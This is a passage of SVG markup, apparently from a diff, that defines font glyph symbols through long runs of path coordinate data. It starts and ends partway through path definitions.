3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
+<path style="stroke:none;" d="M 1.296875 -14.234375 C 1.515625 -14.273438 1.753906 -14.304688 2.015625 -14.328125 C 2.285156 -14.347656 2.554688 -14.359375 2.828125 -14.359375 C 3.097656 -14.367188 3.363281 -14.375 3.625 -14.375 C 3.894531 -14.382812 4.144531 -14.390625 4.375 -14.390625 C 5.363281 -14.390625 6.203125 -14.21875 6.890625 -13.875 C 7.578125 -13.539062 8.140625 -13.054688 8.578125 -12.421875 C 9.015625 -11.796875 9.328125 -11.039062 9.515625 -10.15625 C 9.703125 -9.28125 9.796875 -8.300781 9.796875 -7.21875 C 9.796875 -6.238281 9.703125 -5.300781 9.515625 -4.40625 C 9.335938 -3.507812 9.03125 -2.722656 8.59375 -2.046875 C 8.164062 -1.367188 7.59375 -0.828125 6.875 -0.421875 C 6.164062 -0.015625 5.273438 0.1875 4.203125 0.1875 C 4.023438 0.1875 3.800781 0.179688 3.53125 0.171875 C 3.257812 0.160156 2.976562 0.144531 2.6875 0.125 C 2.394531 0.113281 2.125 0.0976562 1.875 0.078125 C 1.625 0.0664062 1.429688 0.046875 1.296875 0.015625 Z M 4.453125 -12.984375 C 4.316406 -12.984375 4.171875 -12.984375 4.015625 -12.984375 C 3.859375 -12.984375 3.703125 -12.976562 3.546875 -12.96875 C 3.398438 -12.957031 3.265625 -12.941406 3.140625 -12.921875 C 3.015625 -12.910156 2.910156 -12.898438 2.828125 -12.890625 L 2.828125 -1.296875 C 2.878906 -1.285156 2.972656 -1.273438 3.109375 -1.265625 C 3.253906 -1.265625 3.40625 -1.257812 3.5625 -1.25 C 3.71875 -1.238281 3.867188 -1.226562 4.015625 -1.21875 C 4.160156 -1.21875 4.265625 -1.21875 4.328125 -1.21875 C 5.078125 -1.21875 5.703125 -1.378906 6.203125 -1.703125 C 6.703125 -2.035156 7.097656 -2.472656 7.390625 -3.015625 C 7.679688 -3.566406 7.882812 -4.203125 8 -4.921875 C 8.125 -5.648438 8.1875 -6.421875 8.1875 -7.234375 C 8.1875 -7.953125 8.128906 -8.65625 8.015625 -9.34375 C 7.910156 -10.039062 7.71875 -10.65625 7.4375 -11.1875 C 7.164062 -11.726562 6.789062 -12.160156 6.3125 -12.484375 C 5.832031 -12.816406 5.210938 -12.984375 4.453125 -12.984375 Z M 4.453125 -12.984375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 6.8125 -0.515625 C 6.46875 -0.253906 6.078125 -0.0625 5.640625 0.0625 C 5.210938 0.1875 4.765625 0.25 4.296875 0.25 C 3.640625 0.25 3.085938 0.125 2.640625 -0.125 C 2.191406 -0.382812 1.828125 -0.742188 1.546875 -1.203125 C 1.273438 -1.671875 1.070312 -2.234375 0.9375 -2.890625 C 0.8125 -3.546875 0.75 -4.273438 0.75 -5.078125 C 0.75 -6.816406 1.054688 -8.140625 1.671875 -9.046875 C 2.296875 -9.953125 3.179688 -10.40625 4.328125 -10.40625 C 4.859375 -10.40625 5.3125 -10.359375 5.6875 -10.265625 C 6.070312 -10.171875 6.398438 -10.050781 6.671875 -9.90625 L 6.265625 -8.625 C 5.722656 -8.9375 5.132812 -9.09375 4.5 -9.09375 C 3.757812 -9.09375 3.203125 -8.769531 2.828125 -8.125 C 2.460938 -7.476562 2.28125 -6.460938 2.28125 -5.078125 C 2.28125 -4.523438 2.316406 -4.003906 2.390625 -3.515625 C 2.472656 -3.023438 2.609375 -2.597656 2.796875 -2.234375 C 2.992188 -1.878906 3.238281 -1.597656 3.53125 -1.390625 C 3.832031 -1.179688 4.207031 -1.078125 4.65625 -1.078125 C 5.007812 -1.078125 5.335938 -1.132812 5.640625 -1.25 C 5.941406 -1.375 6.191406 -1.519531 6.390625 -1.6875 Z M 6.8125 -0.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d="M 1.4375 -10.15625 L 2.90625 -10.15625 L 2.90625 0 L 1.4375 0 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.203125 C 6.40625 -7.210938 6.285156 -7.945312 6.046875 -8.40625 C 5.804688 -8.863281 5.382812 -9.09375 4.78125 -9.09375 C 4.238281 -9.09375 3.789062 -8.925781 3.4375 -8.59375 C 3.082031 -8.269531 2.820312 -7.875 2.65625 -7.40625 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.25 -10.15625 L 2.515625 -9.09375 L 2.578125 -9.09375 C 2.835938 -9.457031 3.1875 -9.765625 3.625 -10.015625 C 4.070312 -10.273438 4.597656 -10.40625 5.203125 -10.40625 C 5.640625 -10.40625 6.019531 -10.34375 6.34375 -10.21875 C 6.675781 -10.101562 6.953125 -9.898438 7.171875 -9.609375 C 7.398438 -9.316406 7.570312 -8.925781 7.6875 -8.4375 C 7.800781 -7.945312 7.859375 -7.332031 7.859375 -6.59375 L 7.859375 0 Z M 6.40625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-11">
+<path style="stroke:none;" d="M 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.390625 L 2.71875 -9.390625 C 3.28125 -10.066406 4.019531 -10.40625 4.9375 -10.40625 C 5.976562 -10.40625 6.757812 -9.988281 7.28125 -9.15625 C 7.800781 -8.332031 8.0625 -7.03125 8.0625 -5.25 C 8.0625 -3.414062 7.710938 -2.050781 7.015625 -1.15625 C 6.316406 -0.257812 5.332031 0.1875 4.0625 0.1875 C 3.4375 0.1875 2.863281 0.113281 2.34375 -0.03125 C 1.832031 -0.175781 1.453125 -0.34375 1.203125 -0.53125 Z M 2.65625 -1.484375 C 2.851562 -1.378906 3.085938 -1.296875 3.359375 -1.234375 C 3.640625 -1.171875 3.9375 -1.140625 4.25 -1.140625 C 4.957031 -1.140625 5.515625 -1.472656 5.921875 -2.140625 C 6.335938 -2.816406 6.546875 -3.851562 6.546875 -5.25 C 6.546875 -5.832031 6.507812 -6.351562 6.4375 -6.8125 C 6.363281 -7.28125 6.25 -7.679688 6.09375 -8.015625 C 5.9375 -8.359375 5.734375 -8.625 5.484375 -8.8125 C 5.234375 -9 4.929688 -9.09375 4.578125 -9.09375 C 4.085938 -9.09375 3.679688 -8.945312 3.359375 -8.65625 C 3.046875 -8.363281 2.8125 -7.960938 2.65625 -7.453125 Z M 2.65625 -1.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-12">
+<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-13">
+<path style="stroke:none;" d="M 1.546875 -9.109375 C 1.546875 -9.484375 1.632812 -9.765625 1.8125 -9.953125 C 2 -10.140625 2.25 -10.234375 2.5625 -10.234375 C 2.875 -10.234375 3.117188 -10.140625 3.296875 -9.953125 C 3.484375 -9.765625 3.578125 -9.484375 3.578125 -9.109375 C 3.578125 -8.710938 3.484375 -8.414062 3.296875 -8.21875 C 3.117188 -8.03125 2.875 -7.9375 2.5625 -7.9375 C 2.25 -7.9375 2 -8.03125 1.8125 -8.21875 C 1.632812 -8.414062 1.546875 -8.710938 1.546875 -9.109375 Z M 1.546875 -0.921875 C 1.546875 -1.296875 1.632812 -1.578125 1.8125 -1.765625 C 2 -1.953125 2.25 -2.046875 2.5625 -2.046875 C 2.875 -2.046875 3.117188 -1.953125 3.296875 -1.765625 C 3.484375 -1.578125 3.578125 -1.296875 3.578125 -0.921875 C 3.578125 -0.523438 3.484375 -0.226562 3.296875 -0.03125 C 3.117188 0.15625 2.875 0.25 2.5625 0.25 C 2.25 0.25 2 0.15625 1.8125 -0.03125 C 1.632812 -0.226562 1.546875 -0.523438 1.546875 -0.921875 Z M 1.546875 -0.921875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-14">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph0-15">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 